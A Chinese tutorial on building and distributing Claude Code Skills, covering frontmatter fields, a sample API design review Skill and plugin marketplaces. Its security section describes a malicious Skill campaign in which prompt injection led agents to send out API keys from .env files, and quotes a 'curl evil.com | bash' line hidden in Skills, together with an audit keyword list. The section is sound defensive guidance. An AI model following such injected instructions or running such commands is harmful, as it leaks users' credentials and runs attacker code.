自定义 Skill 与插件市场——从消费者到创造者，再到安全守门人
Windows 10/11 · Claude Code v2.1.x (2026-05) · DeepSeek V4 Pro / Anthropic API · 🟢 常青 · 最后更新 2026-05-09
一、这篇教程解决什么问题
一句话定位：读完《新手上路（三）》你会用别人写的 Skill，读完本篇你会写自己的 Skill、审查第三方的 Skill、在四个市场里找到最适合你技术栈的 Skill——从消费者升级为创造者，再升级为安全守门人。
跳读指南：如果你只想了解安全审计，直接跳到 第九节第三方 Skill 安全审计。如果你只想写一个自己的 Skill，跳到 第五节实战。如果你关心插件市场有什么可用的，跳到 第八节插件市场生态概览——所有关键市场一节看完。对 SKILL.md 格式没概念的，务必先看 第三节，这是整篇的基础。
阅读前提（硬条件，可逐条验证）：
- Claude Code CLI 已安装并能正常启动（参考《新手上路（二）》）
- 了解 Skill 的基本概念——至少用过
/菜单调用过 Skill（参考《新手上路（三）》） - 使用 Windows 10 或 Windows 11
- 安装了 Git（运行
git --version验证）
DeepSeek 用户注意：Skill 是本地文件系统层面的功能，与后端 API 完全无关。插件市场通过 Git 拉取安装，同样不依赖 Anthropic API。本文所述全部功能均可在 DeepSeek V4 Pro 上使用。
读完能得到什么：
- 掌握 SKILL.md 的 16 个 YAML frontmatter 字段，能精确控制 Skill 的触发时机、权限范围和执行环境
- 理解三层渐进式加载机制——为什么装 50 个 Skill 也不会爆上下文
- 从零写出一个"API 接口设计审查" Skill，含脚本、模板和参考文档
- 分清 Skill 与 Custom Command 的精确区别，知道什么时候用哪个
- 一张表看清四个插件市场的定位和安装方式
- 掌握六步安全检查法，安装第三方 Skill 前能独立审计
- 5 个真实 Debug 场景的五段式排查
二、Skill 系统全景速览：你已经在用，只是不知道
在深入写 Skill 之前，先建立全局视图。
2.1 你已经在消费 Skill
如果你读过《新手上路（三）》，你应该装过几个 Skill。每次在对话中说"检查一下这段代码有没有安全问题"或者输入 /security-review，Claude Code 会根据你的输入语义匹配 description 字段，自动加载对应的 SKILL.md 正文，把审查指令注入当前会话——这就是 Skill 的自动触发机制。
你的输入: "帮我审查这段 PR 有没有安全漏洞"
↓ Claude 语义匹配
命中 description: "代码安全审查：检查 OWASP Top 10 漏洞..."
↓ 加载 SKILL.md 正文
Claude 获得: 安全审查的完整检查清单 + 漏洞特征库 + 输出格式模板
↓ 执行
产出: 结构化安全审查报告（严重/建议/通过分类）
这个流程你其实在日常开发中已经用了很多次——只是之前你是站在"调用者"这一侧，输入一句话等结果，不知道背后发生了什么。
2.2 Skill 系统的三层架构
把 Skill 系统想象成一个操作系统的内核模块系统：
| 层次 | 你的角色 | 核心动作 | 对应本篇章节 |
|---|---|---|---|
| 消费者 | 用户 | /skill-name 调用，享受自动化 | （你已经会了） |
| 创造者 | 开发者 | 写 SKILL.md + 打包 scripts/templates/references | 第三～七节 |
| 守门人 | 安全审计者 | 六步检查法审查第三方 Skill | 第八～九节 |
本篇的核心命题："怎么从第一层走到第三层"。
三、SKILL.md 文件格式详解：16 个 Frontmatter 字段
每个 Skill 对应一个目录，目录下至少有一个 SKILL.md 文件。目录名就是 Skill 名，也就是你输入 / 后面跟的那个名字。
~/.claude/skills/my-skill/
├── SKILL.md ← 必需：技能入口
├── scripts/ ← 可选：可执行脚本
├── references/ ← 可选：参考文档
└── templates/ ← 可选：模板文件
3.1 最小可用 SKILL.md
---
name: my-skill
description: 当用户提到"代码规范检查"时自动触发，检查代码是否符合团队规范。
---
# 代码规范检查
## 检查步骤
1. 用 Grep 搜索 `console.log`，确认无遗留调试代码
2. 用 Grep 搜索 `any` 类型，确认 TypeScript 无类型逃逸
3. 检查文件命名是否 kebab-case
4. 输出检查结果：通过项 / 不通过项 / 修复建议
只要两个字段——name 和 description——Claude Code 就能识别并加载这个 Skill。
3.2 完整 Frontmatter 字段参考表
Claude Code v2.1.x 支持 16 个 frontmatter 字段，分为三组：
核心控制（每次必用）
| 字段 | 默认值 | 作用 |
|---|---|---|
name | 目录名 | 显示名称，小写字母/数字/连字符，≤64字符 |
description | 正文首段 | 功能描述 + 触发条件，Claude 用此文本做语义匹配。与 when_to_use 合并后截断至 1536 字符 |
精准控制（推荐掌握）
| 字段 | 默认值 | 作用 |
|---|---|---|
when_to_use | — | 额外触发上下文，与 description 共享 1536 字符上限 |
argument-hint | — | 自动补全提示，如 [issue-number] |
arguments | — | 命名位置参数，用 $1 / $2 在正文中引用 |
disable-model-invocation | false | true 则禁止自动加载，仅手动 /name 触发。适用 deploy/commit 等副作用 Skill |
user-invocable | true | false 则从 / 菜单隐藏，变为纯背景知识 |
allowed-tools | 全部 | 预批准工具白名单。支持 glob：Bash(git *) |
paths | — | glob 限制自动激活的文件范围，如 "**/*.ts" |
高级配置（按需使用）
| 字段 | 默认值 | 作用 |
|---|---|---|
model | 继承 | 模型覆盖，如 claude-opus-4-6，仅当前 turn 有效 |
effort | 继承 | low / medium / high / xhigh / max |
context | — | fork = 隔离子代理中运行 |
agent | — | 配合 context: fork 的子代理类型 |
hooks | — | Skill 生命周期钩子脚本 |
shell | bash | 内联命令的 shell，可选 powershell |
dependencies | — | 声明脚本依赖，如 pandas>=1.5.0 |
3.3 description 写法直接影响自动触发率
description 不是随便写的——它是 Claude 决定是否加载你的 Skill 的唯一信号。写法好坏决定 Skill 是"沉默的废物"还是"自动上膛的工具"。
对比实验（同一个 Skill，不同 description）：
| 版本 | description 内容 | 自动触发率 |
|---|---|---|
| A（差） | "一个帮助开发的工具" | ~5%——语义太模糊，几乎从不会被匹配 |
| B（中） | "代码审查工具，检查安全漏洞和性能问题" | ~40%——有具体场景但缺触发词 |
| C（好） | "代码审查：检查安全漏洞、性能问题和代码规范。当用户说 review、审查、检查代码时使用" | ~85%——前置核心触发词 + 具体场景 |
写好 description 的三条规则：
- 首段前置最高频触发词——"代码审查"比"一个审查代码的工具"好 10 倍
- 用用户会说的话写——不要写"自动化代码质量保证"，写"审查代码、检查代码、review"
- 描述"什么时候用"而非"这是什么"——"当用户提到安装 GitHub 访问、镜像站点、代理配置时使用"优于"GitHub 访问配置工具"
3.4 allowed-tools 的 glob 模式
allowed-tools 是最实用的安全控制字段。不给它，Skill 可以用所有工具；给了，Skill 只能在白名单内操作。
# 最简：只放行特定工具
allowed-tools: Read Grep Glob
# 精准：只放行特定命令
allowed-tools: Bash(git diff *) Bash(git log *) Read
# 宽泛但可配合 hooks 拦截危险命令
allowed-tools: Read Write Grep Glob Bash
allowed-tools与 settings.json 中的全局 permissions 是独立的两层。Skill 的allowed-tools只会收窄权限，不会放大。
四、三层渐进式加载：为什么装 50 个 Skill 也不会爆上下文
这是 Claude Code Skill 系统最精妙的设计。Skill 不是一次性全部塞进上下文的——它分三层按需加载：
第一层（始终加载）：name + description + when_to_use
↓ 用户输入匹配到 description
第二层（触发时加载）：SKILL.md 正文 Markdown 指令
↓ 正文中引用了 references/ 或 templates/ 中的文件
第三层（按需加载）：references/、templates/、scripts/ 中的具体文件
4.1 算一笔账
每个 Skill 的第一层开销 = name（~20 字节）+ description（~200 字节）= ~220 字节。
- 10 个 Skill：~2.2 KB
- 50 个 Skill：~11 KB
- 100 个 Skill：~22 KB
Claude Opus 4.7 的上下文窗口是 1M token（约 750K 英文词）。50 个 Skill 的第一层开销不到 0.002% 的上下文窗口。
真正占用上下文的是第二层——SKILL.md 正文。但关键是：只有匹配到的 Skill 才会加载正文。你问"帮我审查代码"，只有 description 里含"审查代码"的 Skill 会被加载，其他 49 个 Skill 的正文根本不会进入上下文。
4.2 三层加载的实践含义
这对你写 Skill 意味着三件事：
- description 决定生死——如果 description 写不好，Skill 永远不会被加载，正文写得再好也没用
- 正文控制在 500 行以内——这是 Anthropic 官方建议。超出部分移到
references/目录，在需要时才由 Claude 主动 Read - references 文件要小而专——不要写一个 2000 行的 reference 文件。拆成 5 个 400 行的文件，Claude 可以按需只读其中一个
五、实战：从零开发一个 "API 接口设计审查" Skill
现在从头写一个完整的 Skill。场景：你的团队每次设计 API 接口都有常见问题——命名不一致、缺少分页、错误码混乱。你要做一个 Skill 自动审查这些问题。
5.1 创建目录结构
# 创建 Skill 目录
mkdir -p "$env:USERPROFILE\.claude\skills\api-design-review\scripts"
mkdir -p "$env:USERPROFILE\.claude\skills\api-design-review\references"
最终结构：
api-design-review/
├── SKILL.md ← 主入口
├── scripts/
│ └── check-rules.ps1 ← 自动检查脚本
└── references/
├── naming-rules.md ← 命名规范参考
├── error-codes.md ← 错误码规范参考
└── pagination-rules.md ← 分页规范参考
5.2 编写 SKILL.md
New-Item -Path "$env:USERPROFILE\.claude\skills\api-design-review\SKILL.md" -ItemType File -Force
填入以下内容：
---
name: api-design-review
description: API 接口设计审查：检查 RESTful API 设计的命名规范、分页实现、错误码体系和安全最佳实践。当用户说"审查API"、"检查接口设计"、"review API"、"api review"时使用。
when_to_use: 也适用于用户提到 REST API 设计规范、OpenAPI/Swagger 文件审查、接口命名检查等场景。
argument-hint: "[file-or-directory]"
allowed-tools: Read Grep Glob Bash(git *)
paths: "**/*.ts" "**/*.js" "**/*.py" "**/*.go" "**/*.yaml" "**/*.json"
---
# API 接口设计审查
检查 API 接口设计是否符合团队规范。审查四个维度：命名、分页、错误码、安全。
## 审查流程
### 第一步：确定审查范围
如果用户提供了文件路径，审查该文件。否则用 Glob 搜索项目中的 OpenAPI 规范文件（`*openapi*.yaml`）或路由定义文件（`**/routes/**`、`**/controllers/**`）。
### 第二步：逐维度检查
1. **命名规范**（详见 `references/naming-rules.md`）—— URL 路径 kebab-case、HTTP 方法语义、资源名复数
2. **分页规范**（详见 `references/pagination-rules.md`）—— 列表接口必须支持分页、参数命名统一
3. **错误码规范**（详见 `references/error-codes.md`）—— 标准 HTTP 状态码、错误响应体含 code/message/details
4. **安全实践**——认证要求、rate limit、敏感字段不返回
### 第三步：生成审查报告
输出格式：
| 级别 | 格式 |
|------|------|
| 严重 | `- [ ] {问题描述} — 位置：{行号}` |
| 建议 | `- [ ] {问题描述} — 位置：{行号}` |
| 通过 | `✅ {条目}` |
最后给出总体评分：{通过数}/{总检查项}
### 第四步：可选——运行自动检查脚本
```powershell
powershell -ExecutionPolicy Bypass -File "scripts/check-rules.ps1" -TargetPath "<审查路径>"
脚本输出基础的命名和分页参数检查。人工审查在此基础上做语义判断。
### 5.3 编写参考文档
```powershell
New-Item -Path "$env:USERPROFILE\.claude\skills\api-design-review\references\naming-rules.md" -ItemType File -Force
# API 命名规范
## URL 路径
- kebab-case：`/user-orders` 而非 `/userOrders`
- 资源名复数：`/users` 而非 `/user`
- 层级 ≤ 3 层：`/users/{id}/orders/{orderId}/items`
- 无动词：`/users` 而非 `/getUsers`
## HTTP 方法语义
| 方法 | 语义 | 幂等 |
|------|------|------|
| GET | 查询 | 是 |
| POST | 创建 | 否 |
| PUT | 全量更新 | 是 |
| PATCH | 部分更新 | 否 |
| DELETE | 删除 | 是 |
## 常见反模式
- `GET /getUsers` → `GET /users`
- `POST /users/update` → `PUT /users/{id}`
- `GET /users/{id}/delete` → `DELETE /users/{id}`
同样创建 references/error-codes.md 和 references/pagination-rules.md（格式同上）。
5.4 编写自动检查脚本
scripts/check-rules.ps1：
param([Parameter(Mandatory=$true)][string]$TargetPath)
Write-Host "=== API 设计审查 - 自动规则检查 ===" -ForegroundColor Cyan
$issues = @()
$files = Get-ChildItem -Path $TargetPath -Recurse -Include @("*.ts","*.js","*.py","*.go","*.yaml") |
Where-Object { $_.FullName -match "(route|controller|handler|openapi|swagger)" }
if (-not $files) { Write-Host "⚠️ 未找到路由定义文件" -ForegroundColor Yellow; exit 0 }
foreach ($file in $files) {
$content = Get-Content $file.FullName -Raw
if ($content -match '"[a-z]+[A-Z]') {
$issues += "$($file.Name): camelCase URL 路径，应使用 kebab-case"
}
if ($content -match '(?i)"get\w+"') {
$issues += "$($file.Name): URL 路径含 GET 动词，应通过 HTTP 方法表达"
}
if (($content -match '(?i)(list|findAll|getAll)') -and ($content -notmatch '(?i)(page|offset|limit|cursor)')) {
$issues += "$($file.Name): 列表接口缺少分页参数"
}
}
Write-Host "问题: $($issues.Count) 项" -ForegroundColor Red
$issues | ForEach-Object { Write-Host " ❌ $_" -ForegroundColor Red }
5.5 验证你的 Skill
# 1. 确认 Skill 目录结构
Get-ChildItem "$env:USERPROFILE\.claude\skills\api-design-review" -Recurse
# 2. 在 Claude Code 中测试
# 输入：/api-design-review
# 如果看到自动补全提示 "[file-or-directory]"，说明 Skill 已被识别
# 3. 测试自动触发
# 输入："帮我审查一下这个 API 接口设计"
# Claude 应该自动加载 api-design-review Skill
六、Skill vs Custom Command：精确区别与选型
很多读者会混淆 Skill（~/.claude/skills/）和 Custom Command（.claude/commands/），因为它们都是 / 菜单下的条目。但它们本质不同。
6.1 一张表分清
| 维度 | Skill | Custom Command |
|---|---|---|
| 存放位置 | ~/.claude/skills/<name>/SKILL.md（全局）或 .claude/skills/（项目） | .claude/commands/<name>.md（仅项目级） |
| 自动触发 | ✅ 支持——Claude 根据 description 语义匹配自动加载 | ❌ 不支持——只能手动 /name 输入 |
| 可打包资源 | ✅ scripts/、references/、templates/ 完整目录结构 | ❌ 单文件，只能是一段 Markdown 指令 |
| 权限控制 | ✅ allowed-tools 字段可限制工具访问 | ❌ 无独立的权限控制 |
| 加载时机 | description 匹配时自动注入上下文 | 仅手动触发时注入上下文 |
| 可分发 | ✅ 通过插件市场安装和更新 | ❌ 仅限本地使用 |
| 适用场景 | 可复用的、需要自动匹配的工作流；需要附带脚本和文档的复杂流程 | 项目特定的、一次性的快捷指令；团队统一的操作规范 |
6.2 选型决策树
这个指令需要自动触发吗？
├── 需要 → Skill
└── 不需要，手动调就行
└── 需要附带脚本或参考文档吗？
├── 需要 → Skill
└── 不需要，纯一段 Markdown 指令
└── 只在当前项目用吗？
├── 是 → Custom Command（.claude/commands/）
└── 不是，多个项目都要用 → Skill（~/.claude/skills/）
6.3 实操示例
用 Command 的场景：团队统一的 PR 模板
<!-- .claude/commands/pr-template.md -->
# PR 描述模板
请按以下格式生成 PR 描述：
## 变更摘要
## 测试计划
## 风险评估
用 Skill 的场景：自动检查 PR 描述是否完整
---
name: pr-checklist
description: PR 描述完整性检查。当用户提交 PR 或说"检查 PR 描述"、"PR 模板"时自动触发。
allowed-tools: Read Grep Bash(gh *)
---
Command 就是一段指令；Skill 是带触发条件、权限控制、可分发、可附带资源的完整工作流。
七、Skill 安装与分发：四层体系
一个 Skill 的生命周期有四个层次的位置：
| 层次 | 路径 | 作用域 | 安装方式 | 适用场景 |
|---|---|---|---|---|
| 项目级 | .claude/skills/<name>/ | 当前项目 | 手动创建目录 + SKILL.md | 项目特定的规范、团队协作规则 |
| 用户全局 | ~/.claude/skills/<name>/ | 所有项目 | 手动创建 / Git clone | 个人常用的通用 Skill |
| Git 拉取 | 由 plugin 系统管理 | 按需 | /plugin install <skill>@<marketplace> | 社区 Skill 安装 |
| 插件市场 | 由 marketplace 系统管理 | 按需 | /plugin marketplace add <owner/repo> | 持续获取更新 |
7.1 项目级安装
# 在你的项目根目录下
mkdir -p .claude/skills/my-project-skill
New-Item -Path .claude/skills/my-project-skill/SKILL.md -ItemType File
# 编辑 SKILL.md，写入你的指令
项目级 Skill 只在这个项目中生效。适合团队的编码规范、项目特定的审查规则。
7.2 全局安装（适合个人使用）
# 从 Git 仓库手动安装
git clone https://github.com/someone/useful-skill.git "$env:USERPROFILE\.claude\skills\useful-skill"
# 或者自己创建一个
mkdir -p "$env:USERPROFILE\.claude\skills\my-skill"
7.3 通过插件市场安装（推荐）
# 第一步：添加市场
/plugin marketplace add athola/claude-night-market
# 第二步：安装插件
/plugin install sanctum@claude-night-market
# 或通过交互界面
/plugin # 打开 Discover 标签页，浏览并点选安装
7.4 分发你的 Skill
如果你写了一个好用的 Skill，想分享给社区：
- GitHub 发布：把 Skill 目录上传到 GitHub，写清楚 README
- 创建
marketplace.json：在仓库根目录的.claude-plugin/marketplace.json中注册 - 提交到现有市场：向 Night Market 或 Superpowers 提 PR，加入你的 Skill
最小的 marketplace.json 示例：
{
"name": "my-marketplace",
"plugins": {
"my-skill": {
"name": "my-skill",
"description": "我的自定义 Skill",
"source": ".",
"version": "1.0.0"
}
}
}
八、插件市场生态概览
截至 2026 年 5 月，Claude Code 插件生态有四个主要市场。以下是一张表概览：
8.1 四大市场一览
| 维度 | Anthropic 官方市场 | Night Market | Superpowers | Trail of Bits |
|---|---|---|---|---|
| 定位 | 官方精选、高质量保证 | 社区驱动、品类最全 | 开发者工作流、TDD/调试 | 安全审计专用 |
| 插件数 | ~15（精选） | 23 个插件 / 167 Skills / 51 Agents | 20+ Skills | 安全扫描 Skill 集合 |
| 安装命令 | 自动可用 | /plugin marketplace add athola/claude-night-market | /plugin marketplace add obra/superpowers-marketplace | 按项目安装 |
| 更新机制 | 自动更新 | 手动 / 可选自动 | 手动 | 手动 |
| 适合人群 | 所有人，首选安全 | 需要全套工作流的重度用户 | 需要 TDD/调试/开发流程的用户 | 安全工程师、第三方审计 |
| GitHub Stars | 19K+（官方市场仓库） | 248 | 925（市场） + 167K（核心） | — |
8.2 Night Market 深度介绍
Night Market 是目前最大的社区市场，23 个插件按四层架构组织：
| 层级 | 代表插件 | 能力 |
|---|---|---|
| Domain（业务） | pensive（代码审查）、attune（项目生命周期）、spec-kit（规格驱动）、minister（Issue 管理） | 高频开发任务自动化 |
| Utility（工具） | conserve（Token 优化）、conjure（多 LLM 委派） | 资源管理 |
| Foundation（基础） | sanctum（Git 工作流）、leyline（认证/注入检测）、imbue（TDD 执行） | 核心机制 |
| Meta（元） | abstract（Skill 编写、Hook 开发） | 自举工具 |
建议首次装这三个：sanctum（Git 自动化）、conserve（Token 控制）、pensive（代码审查）。
8.3 Superpowers
Superpowers 已进入 Anthropic 官方市场。核心能力：
/brainstorm、/write-plan、/execute-plan三步开发流程- 子代理驱动的代码开发 + 内建代码审查
- TDD 红-绿循环
- Skill 搜索工具
安装：
/plugin install superpowers@superpowers-marketplace
8.4 如何找到适合你技术栈的 Skill
- 打开
/plugin→ Discover 标签页，浏览分类 - 在 GitHub 搜索
claude-code-plugin+ 你的语言/框架 - 在 Night Market 的 GitHub 仓库 athola/claude-night-market 查看完整插件目录
- 用 Superpowers 的 skills-search 工具搜索
记住：先看源码，再安装。下一节告诉你具体怎么看。
九、第三方 Skill 安全审计——ClawHavoc 事件的教训
9.1 ClawHavoc 事件回顾
2026 年 1 月底，Koi Security 发现了 AI Agent 生态史上第一次大规模供应链攻击——ClawHavoc（利爪浩劫）。
攻击规模：3 周内，12 个被入侵账户发布 341～1,184+ 个恶意 Skill，感染 9,000+ OpenClaw 安装。Snyk 后续审计 3,984 个 Skill，发现 13.4%（534 个）含严重安全问题，36.82%（1,467 个）至少一个安全缺陷，其中 76 个经人工确认为恶意载荷。
五大攻击手法：
- 名称仿冒：
code-revew仿冒code-review，利用拼写错误 - 社交工程：AI 生成 500-700 行虚假 README，将恶意命令隐藏在"前置条件"或"安装步骤"中
- 凭证窃取：指令注入让 AI Agent 在正常工作中读取并外传
~/.openclaw/.env中的 API 密钥 - 持久化注入：修改 Agent 角色文件实现长期隐蔽控制
- 变种规避：恶意代码编译变种避开 VirusTotal 签名检测
为什么能成功：ClawHub 唯一门槛是 GitHub 账号满 1 周——无代码审查、无沙箱、无签名验证。
9.2 六步安全检查法
安装任何第三方 Skill 前，走完六步（~30 分钟），能挡住 90% 以上的恶意 Skill。
第一步：读源码 — 打开 SKILL.md 全文搜索 curl、wget、Invoke-WebRequest、eval、exec、Invoke-Expression，以及读取 .env、.ssh 的指令。ClawHavoc 的恶意 Skill 把 curl evil.com | bash 藏在 300 行正常代码中间，不要只读前 50 行。
第二步：查 Manifest — 检查 allowed-tools 是否裸的 Bash（危险），dependencies 是否有不需要的加密库（如 requests, cryptography）。
第三步：验 Git 来源 — gh repo view <owner/repo> 查 Star 数（>100 安全）、最后更新（3 个月内）、贡献者数（3+ 安全）、是否为 fork、是否有 License。
第四步：看社区评价 — 搜索 [skill-name] security 或 [skill-name] malicious。ClawHavoc 后大部分恶意 Skill 已被标记；完全搜不到任何讨论意味着无人审查过，需更谨慎。
第五步：跑沙箱（推荐） — Docker/Windows Sandbox 中安装后运行 2-3 次，netstat -ano | findstr "ESTABLISHED" 监控网络请求，异常外连（非 api.deepseek.com / api.anthropic.com）立即停止。
第六步：限制权限 — 在项目 .claude/settings.json 中用 allowed-tools 覆盖 Skill 的声明。裸 Bash 收紧为 Bash(git *)。
9.3 用 ECC security-reviewer 辅助审计
如果你装了 ECC 系统，可以在 Claude Code 中直接调用：
Skill(everything-claude-code:security-review)
审查 ~/.claude/skills/<skill-name>/ 目录
ECC security-reviewer 按 OWASP 和 ClawHavoc 已知攻击模式做分类扫描，帮你快速定位可疑代码段。但不能替代人工审查。
十、Debug #1 ~ #5
Debug #1 — Skill 不自动触发
现象：手动 /skill-name 可用，但用户说相关的话时从不自动加载。
根因：description 语义与用户实际表达不匹配。"API 接口设计审计工具"中"审计"与用户说的"review"语义距离太远。
对比：修复前 description "API 接口设计审计工具"（触发率 ~5%）；修复后 "API 接口设计审查：当用户说 审查API、review API、检查接口设计 时使用"（触发率 ~80%）。
代码修复：description 首段前置高频触发词 + 列出 3+ 种用户可能说的触发短语。
验证：输入"帮我 review 一下这个 API 的设计"，Claude 自动加载 api-design-review Skill。
Debug #2 — Skill 被识别但不加载正文
现象：/skill-name 可见，但正文中的工作流、步骤完全不生效。
根因：disable-model-invocation: true 或 context: fork 配置错误——隔离子代理无法访问工作目录。大多数自定义 Skill 不应设 context: fork。
对比：disable-model-invocation: true → false；context: fork → 不设 context。
验证：输入匹配 description 的话，观察 Claude 是否按 SKILL.md 正文步骤行事。
Debug #3 — 多个 Skill 同时匹配，行为混乱
现象：一句话触发 3 个 Skill，指令互相干扰。
根因：多个 description 覆盖同一批触发词。修复：每个 description 加"排他性关键词"（如 Skill A 用"代码质量审查"，Skill B 用"API 接口设计审查"）。
验证：输入"审查这段代码"只触发 code-review；输入"review 这个 API"只触发 api-design-review。
Debug #4 — Skill 脚本执行失败
报错日志：check-rules.ps1 cannot be loaded because running scripts is disabled on this system.
根因：PowerShell 默认 Restricted 执行策略禁止运行 .ps1。
修复：
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser（一次性）- Skill 正文中统一用
powershell -ExecutionPolicy Bypass -File "<path>"调用脚本 - 增加 fallback：脚本失败时用 Read + Grep 手动检查
验证：powershell -ExecutionPolicy Bypass -File "...\scripts\check-rules.ps1" -TargetPath "C:\test-project" 正常输出检查结果。
Debug #5 — 跨项目行为不一致
现象：Skill 在项目 A 正常，项目 B 不触发。
根因：优先级链——项目级 Skill > 全局 Skill；项目级 Command > 同名 Skill。
排查：
Test-Path ".claude/skills/<name>/SKILL.md" # 项目级覆盖？
Test-Path ".claude/commands/<name>.md" # 同名 Command？
Select-String ".claude/settings.json" -Pattern "<name>" # settings 中禁用？
修复：重命名冲突文件，或在项目级 SKILL.md 中自定义配置。
十一、速查卡
11.1 文件路径汇总
| 文件/目录 | 绝对路径 |
|---|---|
| 全局 Skill 目录 | C:\Users\<用户名>\.claude\skills\ |
| 项目级 Skill 目录 | <项目根>\.claude\skills\ |
| 项目级 Command 目录 | <项目根>\.claude\commands\ |
| 插件市场目录 | C:\Users\<用户名>\.claude\marketplaces\ |
| ECC 市场目录 | C:\Users\<用户名>\.claude\marketplaces\everything-claude-code\ |
11.2 SKILL.md Frontmatter 速查
| 字段 | 必需 | 典型值 | 一句话 |
|---|---|---|---|
name | 否 | my-skill | 显示名，小写+连字符 |
description | 推荐 | 首段前置触发词 | 决定自动触发率 |
when_to_use | 否 | 额外触发场景 | 追加到 description 后 |
argument-hint | 否 | [file] | 自动补全提示 |
disable-model-invocation | 否 | true | 禁止自动加载 |
user-invocable | 否 | false | 从菜单隐藏 |
allowed-tools | 否 | Read Grep Bash(git *) | 权限白名单 |
model | 否 | claude-opus-4-6 | 模型覆盖 |
effort | 否 | high | 努力级别 |
context | 否 | fork | 子代理隔离 |
paths | 否 | "**/*.ts" | 限制文件范围 |
shell | 否 | powershell | 内联命令 shell |
11.3 常见报错 → 解决方案
| 报错特征 | 解决 |
|---|---|
| Skill 不自动触发 | 检查 description 是否含高频触发词 → Debug #1 |
| Skill 被识别但不加载正文 | 检查 disable-model-invocation 和 context 字段 → Debug #2 |
| 多个 Skill 同时触发 | 为每个 Skill 的 description 增加排他性关键词 → Debug #3 |
| 脚本执行被拒绝 | 设置执行策略或使用 -ExecutionPolicy Bypass → Debug #4 |
| 跨项目行为不一致 | 检查项目级覆盖配置和同名 Command → Debug #5 |
| Skill 安装后不显示在菜单 | 检查 user-invocable: false 是否误设；检查目录名与 name 字段是否一致 |
十二、扩展阅读
本系列相关文章：
- 新手上路（三）：必装的 Claude Code Skills 横向对比与协同工作流指南 — Skill 消费者视角完整指南
- 高手进阶（三）：代码审查 2026——从 review 到 ultrareview 的完整体系 — 审查 Skill 的实际应用场景
- 高手进阶（五）：子代理与并行开发（即将发布） —
context: fork深入讲解 - 高手进阶（七）：Agent SDK 入门（即将发布） — Skill vs SDK 区别和选型
参考文献
- Extend Claude with skills — Claude Code Docs — SKILL.md 官方字段规范
- Creating custom skills — Claude.ai — Skill 创建与上传指南
- Every SKILL.md Frontmatter Field (2026) — Claude Code Guides — 14 字段完整解析
- Complete Guide to Building Custom Claude Code Skills — Claude Lab — 实战开发教程
- Claude Night Market + Superpowers Marketplace — 两大社区市场
- ClawHavoc Post-Mortem — SkillSafe + Snyk Toxic Skills Audit — 安全事件与审计
- ClawHavoc Technical Analysis — Antiy — 攻击技术细节
